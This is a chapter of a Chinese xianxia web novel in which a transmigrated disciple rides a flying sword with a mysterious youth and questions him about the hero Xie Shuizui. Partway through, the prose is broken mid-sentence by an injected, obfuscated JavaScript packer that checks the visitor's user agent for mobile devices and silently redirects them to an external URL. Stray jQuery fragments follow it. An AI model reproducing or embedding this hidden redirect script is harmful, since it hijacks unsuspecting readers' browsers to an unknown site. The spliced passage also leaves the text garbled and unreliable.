寻霖回来就见某人站在一旁格格不入,他就说他这庙小给这尊大佛住太委屈了,奈何人一定要来。
倒是小师妹和他想象中的不大相同,很开朗明媚。
“出发吧,事先说好,只要不出生命危险,我不会出手。”
几人连连点头,司存枝也跟着点头。
寻霖笑了一声,她跟着点什么头,“你在我旁边就行,你这次不是历练,是监督,你师姐让你来看我怎么带弟子历练,她回来后你可要给我说句好话啊。”
“好的好的。”司存枝小鸡啄米似的点头,放心吧,师姐回来她会一字不落全说的,他们快走吧,别耽搁了,再晚一点掌门师尊就要来抓她了。
她知道是因为她现在和剧情走向不同,没有从小就在师尊和众长老面前表现出剧情里的那些怨,也没和别人争什么,没有因忌恨犯什么错,更因为她从小到大表现得太无争,所以这次被抓了个现行师尊和云长老都没说什么重话。
二人或许以为她是一时鬼迷心窍,就像师姐认为的那样。
可她也知道,这样的事一而再再而三发生,那点印象只会被慢慢磨灭,她父母留下的那点情谊更会磨得一点不剩。
她不敢赌。
她不认这个结果,这个世界是真实,她更是,凭什么强行操控她,谢水醉难,她不难吗。
“师兄,我们走吧。”她催促道。
寻霖点头,“出发。”
突破凡境理论上身体各方面不算凡人,能抵御御剑带来的冲击,可无法抵御太久只能行短程。
本来寻霖一人是能带四人的,如今多了个司存枝,恰好卡在他的极限上,要兼顾速度和师弟师妹的安危,他只能带四人。
看向旁边的某人,既然要来,就别干看着,“你带徐之,许原,我带他们三。”
某人:“不。”
寻霖想问你是领队还是我是领队?不乐意别来啊,却见某人抽出司存枝身后的剑,说:“我带她。”
寻霖:“?”
司存枝:“!”
礼貌吗,这是她的剑,虽然这是她全身上下最便宜的东西,只是她顺手在师姐院内拿的,但好歹是她的装饰!
她听见谢酒问她:“你会御剑?”
于是立刻收回刚刚的神情,转头道:“寻师兄,我和谢酒一起。”
寻霖疑惑:“谢酒?”
谢酒抬眸,“我修为只比你低三阶,能带。”
寻霖语塞,他是问这个吗?
“寻师兄放心,我相信他。”不管是真信还是假信,反正司存枝得信,快走吧,她感觉师尊快要来抓她去关禁闭了,“谢酒可以的。”
谢酒不说话,只是用灵力操控剑身平躺下来,站在剑上等司存枝上来后直接走了。
“唉!”到底谁是队长啊!寻霖召唤出自己的剑,剑身变大,让师弟师妹上来,追上去,“谢......谢酒,你慢点,给她挡着点风,云凝说她身子弱。”
谢酒不置可否,在柳云凝眼里,凌烟阁只有少数人不弱。
强劲的风将司存枝的头发吹乱了,她站在剑上被这种平地拔起的御剑方式震得晃了晃,只好倔强抓着谢酒的......衣摆。她是想抓其他地方的,只是谢酒的衣服极其合身,腰身紧贴,背脊也没有多余放量,袖口紧束,根本没地方给她拉,思来想去只有衣摆了。
这人看着清瘦,怎的这般高大。
而她都被遮挡得严严实实的了,这风是从哪里吹来的。
“别抓。”谢酒在前面道。
司存枝顿了一下,抓人衣摆有些像抓人裙角,只不过前后两片衣摆下还有裤子,是不好看,但好用啊。
“我站不稳。”她试图说情,“或者你带别人,让寻师兄带我,我见那边挺平和的。”
谢酒没说话,也没停。
司存枝就当对方同意了,继续抓着衣摆,本就精神不济,这样的强风她在师姐的剑上就没感受过,无论师姐御剑有多快,都一丝风不入。
被风这么吹着,非但没让她醒神,反而让她更困。
这风里是放了催眠药吗?
眼皮越来越重,她忍痛咬了舌尖,不敢让自己睡,虽说灵境五阶的修为哪怕她睡着了掉下去也能将她接住,可事有万一,万一没接她呢。
咬舌太痛了,痛得她小声吸气,被吹白了的脸因为痛楚恢复了些血色,指尖差点没拉住人。
被拉着的谢酒往后一瞥,瞧见她微张的唇和泛着泪花的眼角,鼻尖也红红的,不仅不爱修炼,还娇气,这风也是淬体的一部分。
单手握拳背到身后,“拉着手。”
司存枝反应了会儿,立即放下衣摆,转而抱住了这只手,有些迷糊说:“谢谢,你真好。”
谢酒在被抱住的那一刻浑身一僵,又听见这句你真好,淡漠的神情染上一层怀疑,很软,人的身体和声音能这么软吗?
他只不过是个陌生人,对待陌生人也如此信任吗。
“你警惕心有些弱。”
司存枝不仅想抱着,她更想靠着,若是师姐就好了,她可以靠着睡,睡一觉就到地方了。
都离开凌烟阁了,她睡着还会被控制吗?
她不知道,突然觉得好烦好烦好烦!
自从剧情开始走,她没有一次睡好的,总是在睡前或者醒来进行一场胆战心惊的死亡威胁,再睡不好她的善良人格就要没了。
想到此又有些可悲,没了她也做不出什么,更烦躁了。
“你强就行了。”对于谢酒的话她无力应付,说什么就是什么吧,她跟着师门的人一起出来还要警惕的话她干脆不出门了,还能有谁费尽心思害她这个废物吗。
越想越烦,她强压着困意带来的躁开口,“你也是来做任务的,我相信你。”
谢酒不再说话。
司存枝安静抱着对方的手,不敢睡又很困,她总不能一直不睡吧,一直不睡觉人会死的,别人不一定会死,反正她会死的。
这样熬死和最后死在谢水醉刀下,都不是什么好下场。
好想师姐。
“困。”她嘟囔出声。
谢酒感受到背上靠着的头重量很轻,瞧着面色疲倦的人,想说修行就不困了,却也知对方的根骨受损,修行却无半点长进,太磋磨人。
司存枝不由得委屈,“凭什么啊。”
清醒时还能压制这股委屈,反正都投胎进书里了,被拉去走走剧情也能理解,她一直这么宽慰自己,如果她的结局不是死的话,如果她走的剧情不影响别人的话。
为什么不能让她这么平平淡淡活一辈子呢。
真要给她安排身份,为什么不能给她安排主角身边可有可无,关键时刻出来混一混的戏份呢。
她也为谢水醉委屈,凭什么啊,好好修自己的道却要来这么一出打碎一切重生。
“谢酒。”不能睡她就找话说,“你知道谢水醉吗?”
谢酒微微掀起眼皮,“知道。”
她感慨,“也是,只要是修行的谁不知道谢水醉啊。”短短几年在外除祟积累的功德比凌烟阁许多长老都高,不收取任何好处,不为任何势力低头,纯侠义心肠。
“谢水醉很有名?”谢酒忽然问。
司存枝勉强有了点精神。
“嗯,你不是知道他吗?”
谢酒依旧淡漠,事不关己随口道:“知道,不了解,你怎么看待他?”
司存枝:“......”
“你可真会问问题,他轮得到我看待吗,我怎么看待难不成还能影响他,他做那些事想来也不是为了世人眼里如何看待他这个意义而做。”
不过她还是很认真说:“谢水醉,天才中的天才,年少成名,赔上性命也要杀了恶贯满盈的噩沼一族,那会他才十几岁啊,比你还小呢,他是英雄。”
抛开自己是剧情的一环不提,司存枝自己懒,却很爱看话本里无畏的英雄,她是喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784151|210153||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
欢这样的角色的。
谢酒:“若他只是复仇呢?”
司存枝静了片刻,“你还说你不熟,你这不是很熟吗,你也姓谢,你和谢水醉有什么关系吗?”
谢酒不回答。
司存枝也不是一定要回答,跟主角有关的知道越少人生越简单,她只是必须找点什么话题,而八卦又是她的本能。
“论迹不论心,不管他出发点是什么,反正这件事只有他做了,他做成了。”这些年的除祟,谢水醉是为了历练也好,为了收集死气练刀也罢,反正他做了。
思及此她默了。
不管是否是她所愿,她伤害了谢水醉不也是做了吗。
“我好像真的有一点死了。”她呢喃着。
谢酒手臂感受到对方胸膛里那颗跳动的心,很有力,哪怕没有修为支撑,活百年也不是问题。
“谢酒,你说,如果是你,你被人......”司存枝组织着措辞,“你被人折辱了,你该如何?”
谢酒:“如何折辱?”
司存枝犯了难,一定要问得这么细吗?
“那人打你,踩你,还给你喂毒。”
谢酒:“还有呢?”
司存枝惊讶了,看不出来啊,谢酒脑子想得也挺多。
“还要有什么?”
谢酒换了姿势,四面八方的风忽然就停了。
“杀我或者毁了我。”
司存枝眼神变了,这是个好人吧,寻师兄从哪里找来的弟子,看起来不像凌烟阁正统啊,凌烟阁的弟子不都看着和气实则一个个很高傲吗?就她刚刚所说,足够折辱了。
谢酒:“怎么?你没想到。”
她瞬间正了脸色,“那当然了,我是好人。”
谢酒无意义笑了一声。
她听见了,但她装作没听见,她继续问:“如果是你,你会怎么做?”
御剑的少年望着远方,身形稳如松,声音清凉却莫名透着一股阴冷。
“我刚刚说了,谢水醉灭了噩沼一族是为了复仇。”
司存枝睁大眼,不由得抱紧了人。
“胡说。”
谢酒:“哦?”
司存枝严肃道:“我们都是人族,真要分也只能以师门分类,他和我们是一族。”
谢酒:“也是,可能只杀了那个折辱他的人吧。”
折辱两个字咬得很重,给司存枝停冷了,身子抖了抖,好像没风了,为什么会这么冷,她强撑着道:“我问你,不是问谢水醉。”
谢酒:“那不算。”
司存枝困惑抬头,和谢酒浅淡的眼眸对上,什么不算?
两人就这么相互看着,半天司存枝才从这双眼睛里回过神,她在心里嘀咕,眼睛好漂亮,顿了一下她才明白,对方是说,她说的那些不算折辱。
她不解,继续问:“如果你的功法纵欲了会功亏一篑呢?”
谢水醉的功法本来不是这样的,凌烟阁也没有这样的功法,但这就是剧情给谢水醉的设定。
她没看见谢酒眼尾软淡的弧度突然放平,只是莫名起了一股很强的窥伺感,贴紧身前的少年这股感觉才好一些。
谢酒低声,似死神附耳轻语。
“你知道的真多。”
凌烟阁掌门都只知此功法切记清心禁欲,若放纵修行缓慢,而不是功亏一篑。
司存枝哑了会儿,“什么啊,你知道的才多。”她明明什么都没透露。
“纵欲......那岂不是要肌肤相亲,肢体相缠......”她低低自语,刻意回避的记忆再次翻涌而来,谢水醉的唇真的很凉很好亲,那也是她第一次亲人。
她赶紧摇头,这可不是她能想的,她得努力,拿出这辈子都没拿出的辛勤和耐力去抵抗,绝对不能要这样的事发生。
想着剑身猛地颤了一下,吓得她死死抱着人,“你御剑有证吗?”
谢酒薄唇紧抿。
“抱歉。”